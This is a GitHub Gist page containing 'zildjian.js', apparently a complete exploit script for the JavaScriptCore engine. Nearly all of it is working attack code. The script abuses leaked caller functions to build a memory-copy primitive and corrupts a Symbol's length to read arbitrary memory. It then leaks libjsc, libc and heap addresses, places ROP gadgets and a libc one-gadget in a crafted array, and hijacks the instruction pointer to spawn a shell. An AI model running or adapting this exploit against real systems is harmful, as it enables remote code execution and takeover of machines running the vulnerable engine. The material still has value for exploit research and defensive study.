-
-
Save yrp604/5ef4996357e78da237be3727808174a0 to your computer and use it in GitHub Desktop.
zildjian.js
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
load('utils.js') | |
load('int64.js') | |
print('setting up ghetto_memcpy()...'); | |
function make_memcpy() { | |
let p; | |
function g() { | |
p = g.caller; | |
return 'A'; | |
} | |
let a = [1,2,3]; | |
Object.defineProperty(a, '0', {get: g}); | |
a.concat([4]); | |
return p; | |
} | |
let ghetto_memcpy = make_memcpy(); | |
print('done:\n' + ghetto_memcpy); | |
print(''); | |
let busted_len_dbl = new Int64('0000ffff' + '00000002').asDouble(); //length: ffff refcount: 2 | |
let normal_len_dbl = new Int64('00000008' + '00000002').asDouble(); //length: 8 refcount: 2 | |
print('setting up read primitives...'); | |
// this is single use, it corrupts the symbol in a weird way I havent root caused | |
let symbol = 'AAAAAAAA'; | |
let leak_obj = Symbol.for(symbol); | |
function leak_str_base() { | |
function read_n_rel(sz, out) { | |
if (sz == undefined) sz = 8; | |
if (out == undefined) out = new Uint8Array(sz); | |
ghetto_memcpy(leak_obj, [busted_len_dbl], 0); | |
// strlen('Symbol(') == 7 | |
for (let i = 0; i < sz; i++) out[i] = leak_obj.toString().charCodeAt(7 + i); | |
return out; | |
} | |
let leak = read_n_rel(28).slice(-8); | |
return Sub(new Int64(leak), new Int64('0x20')); | |
} | |
function read_n(target, sz, out) { | |
if (sz == undefined) sz = 8; | |
if (out == undefined) out = new Uint8Array(sz); | |
let target_dbl; | |
switch (typeof target) { | |
case 'string': | |
target_dbl = new Int64(target).asDouble(); | |
break; | |
case 'object': | |
target_dbl = target.asDouble(); | |
break; | |
default: | |
throw 'unknown target type'; | |
} | |
let x = Symbol('xxxxxxxxx'); | |
// we need to do this, because otherwise sometimes the array shape doesnt | |
// end up as continuous doubles | |
let y = []; | |
y.push(busted_len_dbl); | |
y.push(target_dbl); | |
ghetto_memcpy(x, y, 0); | |
let s = x.toString(); | |
// strlen('Symbol(') == 7 | |
try { | |
for (let i = 0; i < sz; i++) { | |
let z = s.charCodeAt(7 + i); | |
if (z > 0xff) throw 'char out of range'; | |
out[i] = z; | |
} | |
} catch (e) { | |
let out_idx = 0; | |
for (let i = 0; out_idx < sz; i++) { | |
let z = s.charCodeAt(7 + i); | |
out[out_idx++] = z & 0xff; | |
out[out_idx++] = (z >> 8) & 0xff; | |
} | |
} | |
ghetto_memcpy(x, [normal_len_dbl], 0); | |
return out; | |
} | |
print('done.'); | |
print(''); | |
print('leaking string addr...'); | |
let leaked_str = leak_str_base(); | |
print('string @ ' + leaked_str); | |
print(''); | |
print('leaking jsc base...'); | |
// this offset has to be adjusted alllll the time, because were fucking around | |
// in the middle of the symbol registry (i think). | |
let libjsc_leak = Sub(leaked_str, new Int64('0x7b4')); | |
print('reading @ ' + libjsc_leak); | |
let libjsc_data = new Int64(read_n(libjsc_leak)); | |
print('libjsc .data leak: ' + libjsc_data); | |
let libjsc_text = Sub(libjsc_data, new Int64('0xc30f28')); | |
print('libjsc .text @ ' + libjsc_text); | |
let zero_r8 = Add(libjsc_text, new Int64('0x333503')); // ends in call rax+0xf8 | |
let write_stack = Add(libjsc_text, new Int64('0x5f6705')); // ends in call rax+0x60 | |
let libc = Sub(libjsc_text, new Int64('0x3152000')); | |
print('libc @ ' + libc); | |
let one_gadget = Add(libc, new Int64('0x41c22')); // [rsp + 0x30] == NULL | |
print('one gadget @ ' + one_gadget); | |
print(''); | |
print('leaking butterfly arena...'); | |
let heap_leak = Sub(leaked_str, new Int64('0xc2c')); | |
print('reading @ ' + heap_leak); | |
let btrfly_arena_leak = new Int64(read_n(heap_leak)); | |
print('buttefly arena leak: ' + btrfly_arena_leak); | |
print(''); | |
function find_off_hex(data, a) { | |
function find_off(data, a) { | |
for (let i = 0; i < data.length - a.length; i++) { | |
let found = true; | |
for (let j = 0; j < a.length && found; j++) { | |
if (data[i + j] != a[j]) found = false; | |
} | |
if (found) return i; | |
} | |
throw 'find_off() could not find: ' + a; | |
} | |
return '0x' + find_off(data, a).toString(16); | |
} | |
function find_off_addr(base, data, a) { | |
return Add(base, new Int64(find_off_hex(data, a))); | |
} | |
let tagA = new Int64('0x5441474154414741'); | |
let known_loc = []; | |
for (let i = 0; i < (0xf8 - 0x48); i += 8) known_loc.push(new Int64('0x5151515151515151').asDouble()); | |
/* | |
* array needs to look like | |
* [ | |
* ... | |
* +0x48: zero r8 | |
* ... | |
* +0x60: one_gadget | |
* ... | |
* +0xf8: write_stack | |
* ] | |
* | |
* call order is: | |
* zero r8 -> write stack -> one gadget | |
*/ | |
known_loc[(0x48 - 0x48) / 8] = tagA.asDouble(); // replace with zero_r8 after we have it... | |
known_loc[(0x60 - 0x48) / 8] = one_gadget.asDouble(); | |
known_loc[(0xf8 - 0x48) / 8] = write_stack.asDouble(); | |
print('searching for butterfly in butterfly arena...'); | |
let btrfly_search_base = Add(btrfly_arena_leak, new Int64('0x9560')); | |
print('butterfly search base: ' + btrfly_search_base); | |
let btrfly_arena = read_n(btrfly_search_base, 0xffff); | |
let btrfly = find_off_addr(btrfly_search_base, btrfly_arena, tagA.bytes()); | |
print('found butterfly @ ' + btrfly); | |
print(''); | |
print('replacing array search tag with one shot gadget...') | |
known_loc[0] = zero_r8.asDouble(); | |
print('setting up take_rip...'); | |
function make_take_rip() { | |
let q; | |
function f() { q = f.caller; return 0xee; } | |
let inf = new Intl.NumberFormat(); | |
inf.format({valueOf: f}); | |
return q; | |
} | |
var take_rip = make_take_rip(); | |
print('done:\n' + take_rip); | |
let call_target = Sub(btrfly, 0x48); | |
print('setting up call target: ' + call_target); | |
let ct = hexlify(call_target.bytes()); | |
print('getting a shell... enjoy :)'); | |
take_rip.call({a: new Int64(ct)}); | |
// dbg(); | |
print('something went wrong :('); | |
print('fin.'); |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment